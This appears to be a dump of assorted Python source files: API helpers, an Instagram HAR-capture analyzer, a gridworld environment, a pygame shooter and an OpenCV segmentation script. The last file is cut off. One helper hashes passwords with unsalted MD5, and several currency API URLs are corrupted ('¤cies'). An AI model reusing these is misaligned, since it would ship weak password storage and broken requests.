+{"seq_id":"302134323","text":"import hashlib\nimport json\n\nimport logging\nimport requests\n\n\ndef get_bg(num):\n \"\"\"\n 获取bing的背景图\n :return:\n \"\"\"\n try:\n if not num:\n num = 1\n base_url = \"http://cn.bing.com/HPImageArchive.aspx?format=js&idx=%s&n=1\" % num\n res = requests.get(base_url)\n base_url = \"http://cn.bing.com\"\n \n if res.text != \"null\":\n img_url = json.loads(res.text)[\"images\"][0][\"url\"]\n finall_url = base_url + img_url\n return finall_url\n else:\n base_url = \"http://cn.bing.com/HPImageArchive.aspx?format=js&idx=%s&n=1\" % 1\n res = requests.get(base_url)\n base_url = \"http://cn.bing.com\"\n img_url = json.loads(res.text)[\"images\"][0][\"url\"]\n finall_url = base_url + img_url\n return finall_url\n except Exception as e:\n logging.error(e)\n logging.exception(e)\n\n\ndef after_md5(str):\n \"\"\"\n 将密码进行md5摘要\n :param str:\n :return:\n \"\"\"\n m2 = hashlib.md5()\n m2.update(str.encode())\n after_md5_str = m2.hexdigest()\n return after_md5_str\n","sub_path":"comm_code/index_comm.py","file_name":"index_comm.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"106147203","text":"# -*- coding: utf-8 -*-\n\nimport re\nfrom collections import defaultdict\nfrom datetime import date, timedelta\nfrom operator import attrgetter\n\nfrom cachetools import cachedmethod, keys\n\nfrom ._provider import Provider\n\n\nclass CurrencyLayer(Provider):\n \"\"\"\n Real-time service with free plan for 250 requests per month.\n Implicit base currency is USD.\n \"\"\"\n BASE_URL = \"http://www.apilayer.net/api/live?access_key=%s\"\n name = \"currency_layer\"\n\n def __init__(self, access_key, logger, *args, **kwargs):\n \"\"\"\n :type access_key: str\n :type logger: gold_digger.utils.ContextLogger\n \"\"\"\n super().__init__(*args, **kwargs)\n if access_key:\n self._url = self.BASE_URL % access_key\n else:\n logger.critical(\"%s - You need an access token!\", self)\n self._url = self.BASE_URL % \"\"\n\n self.has_request_limit = True\n\n @cachedmethod(cache=attrgetter(\"_cache\"), key=lambda date_of_exchange, _: keys.hashkey(date_of_exchange))\n def get_supported_currencies(self, date_of_exchange, logger):\n \"\"\"\n :type date_of_exchange: datetime.date\n :type logger: gold_digger.utils.ContextLogger\n :rtype: set[str]\n \"\"\"\n currencies = set()\n response = self._get(\"https://currencylayer.com/downloads/cl-currencies-table.txt\", logger=logger)\n if response:\n currencies = set(re.findall(\"([A-Z]{3}) \", response.text))\n if currencies:\n logger.debug(\"%s - Supported currencies: %s\", self, currencies)\n else:\n logger.error(\"%s - Supported currencies not found.\", self)\n return currencies\n\n @Provider.check_request_limit(return_value=None)\n def get_by_date(self, date_of_exchange, currency, logger):\n \"\"\"\n :type date_of_exchange: datetime.date\n :type currency: str\n :type logger: gold_digger.utils.ContextLogger\n :rtype: decimal.Decimal | None\n \"\"\"\n date_str = date_of_exchange.strftime(\"%Y-%m-%d\")\n logger.debug(\"%s - Requesting for %s (%s)\", self, currency, date_str, extra={\"currency\": currency, \"date\": date_str})\n\n response = self._get(f\"{self._url}&date={date_str}¤cies={currency}\", logger=logger)\n if not response:\n logger.warning(\"%s - Error. Status: %s\", self, response.status_code, extra={\"currency\": currency, \"date\": date_str})\n return None\n\n response = response.json()\n if response[\"success\"]:\n records = response.get(\"quotes\", {})\n elif response[\"error\"][\"code\"] == 104:\n self.set_request_limit_reached(logger)\n return None\n else:\n logger.warning(\n \"%s - Unsuccessful request. Error: %s\", self, response.get(\"error\", {}).get(\"info\"), extra={\"currency\": currency, \"date\": date_str}\n )\n return None\n\n value = records.get(\"%s%s\" % (self.base_currency, currency))\n return self._to_decimal(value, currency, logger=logger) if value is not None else None\n\n @Provider.check_request_limit(return_value={})\n def get_all_by_date(self, date_of_exchange, currencies, logger):\n \"\"\"\n :type date_of_exchange: datetime.date\n :type currencies: set[str]\n :type logger: gold_digger.utils.ContextLogger\n :rtype: dict[str, decimal.Decimal | None]\n \"\"\"\n logger.debug(\"%s - Requesting for all rates for date %s\", self, date_of_exchange)\n\n response = self._get(f\"{self._url}&date={date_of_exchange.strftime('%Y-%m-%d')}¤cies={','.join(currencies)}\", logger=logger)\n if not response:\n return {}\n\n response = response.json()\n records = {}\n if response[\"success\"]:\n records = response.get(\"quotes\", {})\n elif response[\"error\"][\"code\"] == 104:\n self.set_request_limit_reached(logger)\n return {}\n\n day_rates = {}\n for currency_pair, value in records.items():\n currency = currency_pair[3:]\n decimal_value = self._to_decimal(value, currency, logger=logger) if value is not None else None\n if currency and decimal_value:\n day_rates[currency] = decimal_value\n return day_rates\n\n @Provider.check_request_limit(return_value={})\n def get_historical(self, origin_date, currencies, logger):\n \"\"\"\n :type origin_date: datetime.date\n :type currencies: set[str]\n :type logger: gold_digger.utils.ContextLogger\n :rtype: dict[date, dict[str, decimal.Decimal]]\n \"\"\"\n day_rates = defaultdict(dict)\n date_of_exchange = origin_date\n date_of_today = date.today()\n\n while date_of_exchange != date_of_today:\n response = self._get(f\"{self._url}&date={date_of_exchange.strftime('%Y-%m-%d')}¤cies={','.join(currencies)}\", logger=logger)\n records = {}\n if response:\n response = response.json()\n if response[\"success\"]:\n records = response.get(\"quotes\", {})\n elif response[\"error\"][\"code\"] == 104:\n self.set_request_limit_reached(logger)\n break\n\n for currency_pair, value in records.items():\n currency = currency_pair[3:]\n decimal_value = self._to_decimal(value, currency, logger=logger) if value is not None else None\n if currency and decimal_value:\n day_rates[date_of_exchange][currency] = decimal_value\n date_of_exchange = date_of_exchange + timedelta(1)\n\n return day_rates\n","sub_path":"gold_digger/data_providers/currency_layer.py","file_name":"currency_layer.py","file_ext":"py","file_size_in_byte":5674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"515097028","text":"import boto3\nimport json\nfrom boto3.dynamodb.conditions import Key, Attr\nimport logging\n\ndynamodb = boto3.resource('dynamodb')\n\n\ndef items_read(table_name):\n dynamodb_table = dynamodb.Table(table_name)\n response = dynamodb_table.query(\n KeyConditionExpression=Key('House').eq(\"Oimachi\")\n )\n return response[\"Items\"]\n\n\ndef items_delete(table_name, database_charge_room_array):\n dynamodb_table = dynamodb.Table(table_name)\n print(database_charge_room_array)\n for database_charge in database_charge_room_array:\n dynamodb_table.delete_item(\n Key={\n \"House\": \"Oimachi\",\n \"Room\": database_charge\n }\n )\n\n\ndef items_add(table_name, group_id, next_room, next_name):\n dynamodb_table = dynamodb.Table(table_name)\n for room_num, room_name in zip(next_room, next_name):\n dynamodb_table.put_item(\n Item={\n \"House\": \"Oimachi\",\n \"Room\": room_num,\n \"GroupId\": group_id,\n \"Name\": room_name\n }\n )\n","sub_path":"src/notification_charge/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"446731067","text":"#!/usr/bin/env python3\n\n\n\nimport json\nfrom haralyzer import HarParser, HarPage\nimport pdb;\nimport requests\nimport urllib, json\nfrom urllib.request import urlopen\nfrom urllib.request import urlopen, Request\n\n\n\ndef pic_link(data):\n try:\n num1=0\n Req_json_Data = json.loads(data)\n num1=Req_json_Data['data']['shortcode_media']['owner']['profile_pic_url']\n #print(num1)\n except Exception as e:\n print(e)\n return num1\n\n\n\ndef followed_by(data):\n try:\n num1=0\n Req_json_Data = json.loads(data)\n num1=Req_json_Data['data']['shortcode_media']['owner']['edge_followed_by']['count']\n #print(num1)\n except Exception as e:\n print(e)\n return num1\n\ndef TotalPosts(data):\n try:\n num1=0\n Req_json_Data = json.loads(data)\n num1=Req_json_Data['data']['shortcode_media']['owner']['edge_owner_to_timeline_media']['count']\n #print(num1)\n except Exception as e:\n print(e)\n return num1\n\ndef likesAnalyzer(data):\n\n try:\n num1=0\n Req_json_Data = json.loads(data)\n\n num1=Req_json_Data['data']['shortcode_media']['edge_media_preview_like']['count']\n #print(num1)\n\n\n except Exception as e:\n print(e)\n return num1\n\n\n\ndef commentsAnalyzer(data):\n\n try:\n num2=0\n Req_json_Data = json.loads(data)\n num2=Req_json_Data['data']['shortcode_media']['edge_media_to_parent_comment']['count']\n #print(num2)\n\n\n except Exception as e:\n print(e)\n return num2\n\n\n\n\n\n\n\n\n\nfile = \"NewDataJinkstattoo.har\"\n\nwith open(file, 'r') as f:\n har_parser = HarParser(json.loads(f.read()))\n\nresults = []\ncounter=0\nNumComm1=0\nNumComm=0\n\nNumLikes=0\nNumLikes1=0\n\ntry:\n if har_parser:\n for har in har_parser.har_data['entries']:\n url = har[\"request\"][\"url\"]\n if \"https://www.instagram.com/graphql/query/\" in url:\n print(\"**************************** NEW DATA***************************\")\n\n print(har[\"request\"][\"url\"], \"\\n\")\n\n responseData=har[\"response\"][\"content\"][\"text\"]\n print(responseData)\n\n #print(NumComm, \"\\n\")\n NumComm = commentsAnalyzer(responseData)\n NumLikes = likesAnalyzer(responseData)\n NumComm1=NumComm1+NumComm\n NumLikes1=NumLikes1+NumLikes\n\n NumFollowers = followed_by(responseData)\n NumPosts = TotalPosts(responseData)\n Pic = pic_link(responseData)\n\n\n #NumComm1=NumComm+NumComm1\n #NumLikes=likesAnalyzer(responseData)+NumLikes\n\n counter=counter+1\n\n results.append(har[\"request\"][\"url\"])\n\nexcept Exception as e:\n print(e)\n\n\nprint(NumComm1, \"\\n\")\nprint(NumLikes1, \"\\n\")\n\nprint(NumFollowers, \"\\n\")\nprint(NumPosts, \"\\n\")\n\nprint(Pic, \"\\n\")\n\n","sub_path":"GetAylaDev/CurrentDashboard/analyzerPro.py","file_name":"analyzerPro.py","file_ext":"py","file_size_in_byte":2958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"329812821","text":"import numpy as np\nimport pygame as pg\nimport gym\nfrom gym import spaces\n\n# For visualization\ncolors = {\n 'floor' : (80, 80, 80),\n 'floor_edge' : (70, 70, 70),\n 'wall' : (50, 50, 50),\n 'wall_edge' : (40, 40, 40),\n 'box' : (80, 60, 0),\n 'box_edge' : (60, 40, 0),\n 'goal' : (10, 10, 10),\n 'goal_edge' : (20, 20, 20)\n}\n\nclass Gridworld(gym.Env):\n # Action space\n UP, DOWN, LEFT, RIGHT = range(4)\n\n def __init__(self, cell_size=16, width=8, height=8, walls=None, screen=None, agent_pos=(0, 0), goal_pos=(0, 0)):\n self.action_space = spaces.Discrete(4)\n \n # config\n self.init_agent_pos = agent_pos\n self.goal_pos = goal_pos\n\n # dimensions\n self.width = width\n self.height = height\n \n # timeout\n self.time = 0\n self.cutoff = 1000\n\n # wall matrix\n self.walls = walls\n\n # visualization\n self.cell_size = cell_size\n self.screen = screen\n\n def reset(self):\n # timeout\n self.time = 0\n\n # state\n self.board_walls = np.array(self.walls[np.random.randint(0, len(self.walls))]) if self.walls else np.zeros((self.height, self.width))\n self.board_interactive = np.zeros((self.height, self.width))\n self.board_goal = np.zeros((self.height, self.width))\n self.agent_pos = self.init_agent_pos\n self.board_goal[self.goal_pos[1]][self.goal_pos[0]] = 1\n \n agent_pos_matrix = np.zeros((self.height, self.width))\n agent_pos_matrix[self.agent_pos[1]][self.agent_pos[0]] = 1\n\n state = np.array([[\n self.board_walls,\n self.board_interactive,\n self.board_goal,\n agent_pos_matrix\n ]])\n\n return state\n \n def step(self, action):\n done = self.time > self.cutoff\n self.time += 1\n reward = -1\n \n target_x, target_y = self.agent_pos\n\n if action == Gridworld.UP: target_y -= 1\n if action == Gridworld.DOWN: target_y += 1\n if action == Gridworld.LEFT: target_x -= 1\n if action == Gridworld.RIGHT: target_x += 1\n \n if target_x in range(self.width) and target_y in range(self.height):\n if self.board_interactive[target_y][target_x] == 1:\n box_target_x = target_x\n box_target_y = target_y\n\n if action == Gridworld.UP: box_target_y -= 1\n if action == Gridworld.DOWN: box_target_y += 1\n if action == Gridworld.LEFT: box_target_x -= 1\n if action == Gridworld.RIGHT: box_target_x += 1\n \n if box_target_x in range(self.width) and box_target_y in range(self.height):\n if self.board_walls[box_target_y][box_target_x] == 0 and \\\n self.board_interactive[box_target_y][box_target_x] == 0:\n self.agent_pos = (target_x, target_y)\n self.board_interactive[target_y][target_x] = 0\n self.board_interactive[box_target_y][box_target_x] = 1\n else:\n move, target_x, target_y, box_target_x, box_target_y = self.resolve_corner(target_x, target_y, box_target_x, box_target_y)\n if move:\n self.agent_pos = (target_x, target_y)\n self.board_interactive[target_y][target_x] = 0\n self.board_interactive[box_target_y][box_target_x] = 1\n \n if box_target_x in range(self.width) and box_target_y in range(self.height) and self.board_goal[box_target_y][box_target_x] == 1:\n done = True\n reward = 10\n\n if target_x in range(self.width) and target_y in range(self.height) and self.board_goal[target_y][target_x] == 1:\n done = True\n reward = 10\n\n \n elif self.board_walls[target_y][target_x] == 0:\n self.agent_pos = (target_x, target_y)\n\n agent_pos_matrix = np.zeros((self.height, self.width))\n agent_pos_matrix[self.agent_pos[1]][self.agent_pos[0]] = 1\n \n agent_pos_i = self.width * self.agent_pos[1] + self.agent_pos[0]\n \n state = np.array([[\n self.board_walls,\n self.board_interactive,\n self.board_goal,\n agent_pos_matrix\n ]])\n\n return state, reward, done, { 'agent_pos_i' : agent_pos_i }\n \n def resolve_corner(self, target_x, target_y, box_target_x, box_target_y):\n diff_x = target_x - box_target_x \n diff_y = target_y - box_target_y\n \n if diff_x == 0: # vertical\n left = target_x - 1 not in range(self.width) or \\\n self.board_walls[target_y][target_x - 1] == 1 or \\\n self.board_interactive[target_y][target_x - 1] == 1\n right = target_x + 1 not in range(self.width) or \\\n self.board_walls[target_y][target_x + 1] == 1 or \\\n self.board_interactive[target_y][target_x + 1] == 1\n if left:\n return True, target_x, target_y, target_x + 1, target_y\n if right:\n return True, target_x, target_y, target_x - 1, target_y\n return True, target_x, target_y, target_x, target_y + diff_y\n \n if diff_y == 0: # horizontal\n up = target_y - 1 not in range(self.height) or \\\n self.board_walls[target_y - 1][target_x] == 1 or \\\n self.board_interactive[target_y - 1][target_x] == 1\n down = target_y + 1 not in range(self.height) or \\\n self.board_walls[target_y + 1][target_x] == 1 or \\\n self.board_interactive[target_y + 1][target_x] == 1\n if up:\n return True, target_x, target_y, target_x, target_y + 1\n if down:\n return True, target_x, target_y, target_x, target_y - 1\n return True, target_x, target_y, target_x + diff_x, target_y\n \n return False, target_x, target_y, box_target_x, box_target_y\n \n\n def draw(self, screen, heatmap=None):\n for i in range(len(self.board_walls[0])):\n for j in range(len(self.board_walls)):\n cell = pg.Rect(self.cell_size * i, self.cell_size * j, self.cell_size, self.cell_size)\n cell_border = pg.Rect(self.cell_size * i, self.cell_size * j, self.cell_size + 1, self.cell_size + 1)\n \n if self.board_walls[j][i] == 1: \n pg.draw.rect(screen, colors['wall'], cell)\n pg.draw.rect(screen, colors['wall_edge'], cell_border, 1)\n elif self.board_interactive[j][i] == 1: \n pg.draw.rect(screen, colors['box'], cell)\n pg.draw.rect(screen, colors['box_edge'], cell_border, 1)\n elif self.board_goal[j][i] == 1: \n pg.draw.rect(screen, colors['goal'], cell)\n pg.draw.rect(screen, colors['goal_edge'], cell_border, 1)\n else:\n pg.draw.rect(screen, colors['floor'], cell)\n pg.draw.rect(screen, colors['floor_edge'], cell_border, 1)\n \n agent_cell = pg.Rect(self.cell_size * self.agent_pos[0] + 2, self.cell_size * self.agent_pos[1] + 2, self.cell_size - 4, self.cell_size - 4)\n \n pg.draw.rect(screen, (100, 0, 0), agent_cell)\n pg.draw.rect(screen, (90, 0, 0), agent_cell, 1)\n \n\n \n def render(self, mode=''):\n self.draw(self.screen) \n pg.display.flip()","sub_path":"gridworld_clean.py","file_name":"gridworld_clean.py","file_ext":"py","file_size_in_byte":7711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"459146621","text":"import sys\nimport pygame\nfrom Alien_Invasion.bullets import Bullet\nfrom Alien_Invasion.alien import Alien\nfrom time import sleep\nfrom Alien_Invasion.button import Button\nimport collections\n\n# Inicia o pygame e suas ferramentas de áudio\npygame.init()\npygame.mixer.init()\nbullet = pygame.mixer.Sound(file='sounds/bullet.wav')\nblowup = pygame.mixer.Sound(file='sounds/blowup.wav')\n\n\ndef ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets, text):\n \"\"\"Responde ao fato de a espaçonave ter sido atingida por um\n alienígena.\"\"\"\n if stats.ships_left >= 1:\n # Decrementa ships_left\n stats.ships_left -= 1\n\n # Atualiza o painel de pontuações\n sb.prep_ships()\n\n # Esvazia a lista de alienígenas e de projéteis\n aliens.empty()\n bullets.empty()\n\n # Cria uma nova frota e centraliza a espaçonave\n create_fleet(ai_settings, screen, aliens)\n ship.center_ship()\n\n # Faz uma pausa\n sleep(0.5)\n\n else:\n if not text.done:\n pygame.mouse.set_visible(True)\n store_score(stats, screen, text)\n text.done = False\n stats.game_active = False\n ship.center_ship()\n\n\ndef get_number_aliens_x(ai_settings, alien_width):\n \"\"\"Determina o número de alienígenas que cabem em uma linha.\"\"\"\n available_space_x = ai_settings.width - 2 * alien_width\n number_aliens_x = int(available_space_x / (2 * alien_width))\n return number_aliens_x\n\n\ndef create_alien(ai_settings, screen, aliens, alien_number, row_number):\n \"\"\"Cria um alienígena e o posiciona na linha.\"\"\"\n alien = Alien(ai_settings, screen)\n alien_width = alien.rect.width\n alien.x = alien_width + 2 * alien_width * alien_number\n alien.rect.x = alien.x\n alien.rect.y = alien.rect.height + 2 * alien.rect.height * row_number\n aliens.add(alien)\n\n\ndef create_fleet(ai_settings, screen, aliens):\n \"\"\"Cria uma frota completa de alienígenas.\"\"\"\n alien = Alien(ai_settings, screen)\n number_aliens_x = get_number_aliens_x(ai_settings, alien.rect.width)\n number_rows = 4\n # Cria a frota de alienígenas\n for row_number in range(number_rows):\n for alien_number in range(number_aliens_x):\n create_alien(ai_settings, screen, aliens, alien_number, row_number)\n\n\ndef check_keydown_events(event, ai_settings, screen, ship, bullets):\n \"\"\"Responde a pressionamentos de tecla.\"\"\"\n global pause\n if event.key == pygame.K_RIGHT:\n ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n ship.moving_left = True\n elif event.key == pygame.K_SPACE:\n fire_bullet(ai_settings, screen, ship, bullets)\n elif event.key == pygame.K_p:\n pause = True\n image = pygame.image.load('images/pause.png')\n rect = image.get_rect()\n rect.centerx = 300\n rect.centery = 25\n screen.blit(image, rect)\n pygame.display.flip()\n while pause:\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_p:\n pause = False\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.key == pygame.K_q:\n sys.exit()\n\n\ndef fire_bullet(ai_settings, screen, ship, bullets):\n \"\"\"Dispara um projétil se o limite ainda não foi alcançado.\"\"\"\n if len(bullets) < ai_settings.bullets_allowed:\n new_bullet = Bullet(ai_settings, screen, ship)\n bullets.add(new_bullet)\n pygame.mixer.Sound.play(bullet)\n\n\ndef check_keyup_events(event, ship):\n \"\"\"Responde a solturas de tecla.\"\"\"\n if event.key == pygame.K_RIGHT:\n ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n ship.moving_left = False\n\n\ndef check_events(ai_settings, screen, stats, sb, play_button, ship, aliens, bullets, help_button,\n x_button, record_button, reset_score):\n \"\"\"Observa eventos de teclado e de mouse.\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n check_keydown_events(event, ai_settings, screen, ship, bullets)\n elif event.type == pygame.KEYUP:\n check_keyup_events(event, ship)\n elif event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n check_button(ai_settings, screen, stats, sb, ship, aliens, bullets, mouse_x,\n mouse_y, play_button, help_button, x_button, record_button, reset_score)\n\n\ndef check_button(ai_settings, screen, stats, sb, ship,\n aliens, bullets, mouse_x, mouse_y, play_button,\n help_button, x_button, record_button, reset_score):\n \"\"\"Inicia um novo jogo quando o jogador clicar em Play.\"\"\"\n play_button_clicked = play_button.clicked(mouse_x, mouse_y)\n help_button_clicked = help_button.clicked(mouse_x, mouse_y)\n x_button_clicked = x_button.clicked(mouse_x, mouse_y)\n record_button_clicked = record_button.clicked(mouse_x, mouse_y)\n reset_score_clicked = reset_score.clicked(mouse_x, mouse_y)\n if not stats.game_active:\n if play_button_clicked:\n # Reinicia as configurações do jogo\n ai_settings.initialize_dynamic_settings()\n\n # Oculta o cursor do mouse\n pygame.mouse.set_visible(False)\n\n # Reinicia os dados estatísticos do jogo\n stats.reset_stats()\n stats.game_active = True\n\n # Reinicia as imagens do painel de pontuação\n sb.prep_score()\n sb.prep_high_score()\n sb.prep_level()\n sb.prep_ships()\n\n # Esvazia a lista de alienígenas e de projéteis\n aliens.empty()\n bullets.empty()\n\n # Cria uma nova frota e centraliza a espaçonave\n create_fleet(ai_settings, screen, aliens)\n ship.center_ship()\n elif help_button_clicked:\n help_button.active = True\n elif x_button_clicked:\n help_button.active = False\n record_button.active = False\n elif record_button_clicked:\n record_button.active = True\n elif reset_score_clicked:\n stats.high_scores.clear()\n stats.high_scores = collections.OrderedDict()\n for i in range(1, 5):\n stats.high_scores[f'Empty{i}'] = '0'\n with open('game_stats/high_score.text', 'wt') as file:\n for k, v in stats.high_scores.items():\n file.write(f'{k};{v}\\n')\n record_button.active = False\n\n\ndef update_screen(ai_settings, screen, stats, sb, ship, alien, bullets):\n \"\"\"Atualiza as imagens na tela e alterna para a nova tela.\"\"\"\n # Redesenha a tela a cada passagem pelo laço\n screen.fill(ai_settings.bg_color)\n # Redesenha todos os projéteis atrás da espaçonave e dos alienígenas\n if stats.game_active:\n for bullet in bullets.sprites():\n bullet.draw_bullet()\n ship.blitme()\n alien.draw(screen)\n # Desenha a informação sobre pontuação\n sb.show_score()\n # Deixa a tela mais recente visível\n pygame.display.flip()\n\n\ndef update_bullets(ai_settings, screen, stats, sb, ship, aliens, bullets):\n \"\"\"Atualiza a posição dos projéteis e se livra dos projéteis\n antigos.\"\"\"\n if stats.game_active:\n # Atualiza as posições dos projéteis\n bullets.update()\n # Livra-se dos projéteis que desapareceram\n for bullet in bullets.copy():\n if bullet.rect.bottom <= 0:\n bullets.remove(bullet)\n check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, aliens,\n bullets)\n\n\ndef check_bullet_alien_collisions(ai_settings, screen, stats, sb, ship, aliens,\n bullets):\n \"\"\"Responde a colisões entre projéteis e alienígenas.\"\"\"\n # Remove qualquer projétil e alienígena que tenham colidido\n collisions = pygame.sprite.groupcollide(bullets, aliens, True,\n False)\n if collisions:\n for aliens_exploded in collisions.values():\n stats.score += ai_settings.alien_points*len(aliens_exploded)\n sb.prep_score()\n pygame.mixer.Sound.play(blowup)\n for alien in aliens_exploded:\n alien_explode(alien, screen, aliens)\n check_high_score(stats, sb)\n elif len(aliens) == 0:\n stats.level += 1\n sb.prep_level()\n # Destrói os projéteis existentes e cria uma nova frota\n bullets.empty()\n ai_settings.increase_speed()\n create_fleet(ai_settings, screen, aliens)\n\n\ndef alien_explode(alien, screen, aliens):\n x = alien.rect.x\n y = alien.rect.y\n alien.image = pygame.image.load('images/alien_explode.bmp')\n alien.rect = alien.image.get_rect()\n alien.rect.x = x\n alien.rect.y = y\n screen.blit(alien.image, alien.rect)\n pygame.display.flip()\n aliens.remove(alien)\n\n\ndef check_high_score(stats, sb):\n \"\"\"Verifica se há uma nova pontuação máxima.\"\"\"\n if stats.score > stats.high_score:\n stats.high_score = stats.score\n sb.prep_high_score()\n\n\ndef check_fleet_edges(ai_settings, aliens):\n \"\"\"Responde apropriadamente se algum alienígena alcançou uma\n borda.\"\"\"\n for alien in aliens.sprites():\n if alien.check_edges():\n change_fleet_direction(ai_settings, aliens)\n break\n\n\ndef change_fleet_direction(ai_settings, aliens):\n \"\"\"Faz toda a frota descer e muda a sua direção.\"\"\"\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= -1\n\n\ndef update_aliens(ai_settings, stats, screen, sb, ship, aliens, bullets, text):\n \"\"\"Verifica se a frota está em uma das bordas\n e então atualiza as posições de todos os alienígenas da frota.\"\"\"\n check_fleet_edges(ai_settings, aliens)\n aliens.update()\n # Verifica se houve colisões entre alienígenas e a espaçonave\n if pygame.sprite.spritecollideany(ship, aliens):\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets, text)\n # Verifica se há algum alienígena que atingiu a parte inferior da tela\n check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens,\n bullets, text)\n\n\ndef check_aliens_bottom(ai_settings, stats, screen, sb, ship, aliens,\n bullets, text):\n \"\"\"Verifica se algum alienígena alcançou a parte inferior da\n tela.\"\"\"\n screen_rect = screen.get_rect()\n for alien in aliens.sprites():\n if alien.rect.bottom >= screen_rect.bottom:\n # Trata esse caso do mesmo modo que é feito quando a espaçonave é atingida\n ship_hit(ai_settings, stats, screen, sb, ship, aliens, bullets, text)\n break\n\n\ndef initial_sound():\n \"\"\"Carrega o áudio inicial\"\"\"\n pygame.mixer.init()\n pygame.mixer.music.load('sounds/background.wav')\n pygame.mixer.music.play(-1)\n\n\ndef store_score(stats, screen, text):\n \"\"\"Armazena a pontuação máxima no arquivo high_score.text\"\"\"\n score = '{:,}'.format(int(stats.score))\n score_text = Button((200, 40), screen, score, (770, 235), (0, 0, 70), (130, 0, 0), 35)\n stats.input_active = True\n highscores = stats.high_scores\n points = list(highscores.values())\n for k, score in enumerate(points):\n if int(score) < stats.score:\n points.insert(k, stats.score)\n while not text.done:\n text.show(screen, score_text)\n highscores[text.input_str] = stats.score\n highscores = sort_high_scores(highscores)\n break\n with open('game_stats/high_score.text', 'wt') as file:\n for k, v in highscores.items():\n file.write(f'{k}; {v}\\n')\n stats.high_scores = highscores\n\n\ndef button_record(screen, stats, set_inst, record_button):\n if record_button.active:\n text=''\n buttons = []\n x = 0\n for k, v in stats.high_scores.items():\n str_i = \"{:,}\".format(int(v))\n text = f'{k:<10}' + f'{str_i:^10}'\n text = text.upper()\n texto = Button((230, 50), screen, text, (set_inst.width//2, (set_inst.height//2) + 192+x),\n (0, 0, 70), (130, 0, 0),28)\n buttons.append(texto)\n x += 40\n for button in buttons:\n button.draw_button(1)\n\n\ndef sort_high_scores(highscores):\n from operator import itemgetter\n draft = sorted(highscores.items(), key=itemgetter(1), reverse=True)\n highscores.clear()\n highscores = collections.OrderedDict()\n for i in draft:\n highscores[f'{i[0]}'] = i[1]\n if len(highscores) > 4:\n highscores.popitem()\n return highscores\n\n\ndef read_scores():\n with open('game_stats/high_score.text', 'r+') as file:\n high_scores = collections.OrderedDict()\n for line in file.readlines():\n if line != '\\n':\n kv = line.strip().split(';')\n high_scores[kv[0]] = (int(kv[1]))\n return high_scores\n","sub_path":"game_functions/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"610495194","text":"import cv2\nimport numpy as np\n\nimg = cv2.imread(\"bangla.jpg\")\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\"Finding threshold\"\nth, threshed = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY_INV|cv2.THRESH_OTSU)\n\n\"Finding rectangle or bounding box\"\npts = cv2.findNonZero(threshed)\nret = cv2.minAreaRect(pts)\n\n(cx,cy), (w,h), ang = ret\n\nif w>h:\n w,h = h,w\n ang += 90\n\n\"Rotating image for alignment of box\"\nM = cv2.getRotationMatrix2D((cx,cy), 0, 1.0)\nrotated = cv2.warpAffine(threshed, M, (img.shape[1], img.shape[0]))\noutput = cv2.warpAffine(threshed, M, (img.shape[1], img.shape[0]))\nBUFFER = 1\n\"\"\"\ndef buffer_size(hist):\n size_buffer = []\n concurrent_minima = 0\n minimas = sorted(hist)\n i = 0\n minima = np.median(minimas)\n while i < len(hist):\n while i < len(hist) and hist[i] <= minima:\n concurrent_minima+=1\n i+=1\n if concurrent_minima != 0:\n size_buffer.append(concurrent_minima)\n concurrent_minima = 0\n i += 1\n return (int(np.median(size_buffer)), minima)\ndef bounds(hist, dim_init, dim_size):\n size_buf,threshold = buffer_size(hist)\n bound_limits = [0]\n for y in range(dim_init, dim_size-size_buf):\n if(hist[y]>threshold and (max([hist[val] for val in range(y+1, y+size_buf+1)], default=0)<=threshold)):\n bound_limits.append(y+BUFFER)\n elif(hist[y]<=threshold and (min([hist[val] for val in range(y+1, y+size_buf+1)], default=0)>threshold)):\n bound_limits.append(y-BUFFER)\n bound_limits = list(set(bound_limits))\n bound_limits.sort()\n return (threshold, size_buf, bound_limits)\n\"\"\"\ndef words_seperator(lower, upper, cnt_lines):\n hist2 = cv2.reduce(rotated[upper:lower, :],0, cv2.REDUCE_AVG).reshape(-1)\n left = 0\n right = len(hist2)-1\n while hist2[left] <= min(hist2):\n left+=1\n while hist2[right] <= min(hist2):\n right-=1\n x = left\n prev_x = left\n cnt_words = 1\n while x < right:\n while x < len(hist2) and hist2[x] <= min(hist2):\n x += 1\n prev_x = x\n while x < len(hist2) and hist2[x] > min(hist2):\n x += 1\n if x - prev_x > 5:\n cv2.line(output, (prev_x,lower),(prev_x, upper), (255,0,0))\n cv2.line(output, (x,lower),(x, upper), (255,0,0))\n hist3 = cv2.reduce(rotated[upper-BUFFER:lower+BUFFER, prev_x-BUFFER:x+BUFFER],1, cv2.REDUCE_AVG).reshape(-1)\n letter_upper = 0\n letter_lower = len(hist3)-1\n while hist3[letter_upper] <= min(hist3):\n letter_upper+=1\n while hist3[letter_lower] <= min(hist3):\n letter_lower-=1\n 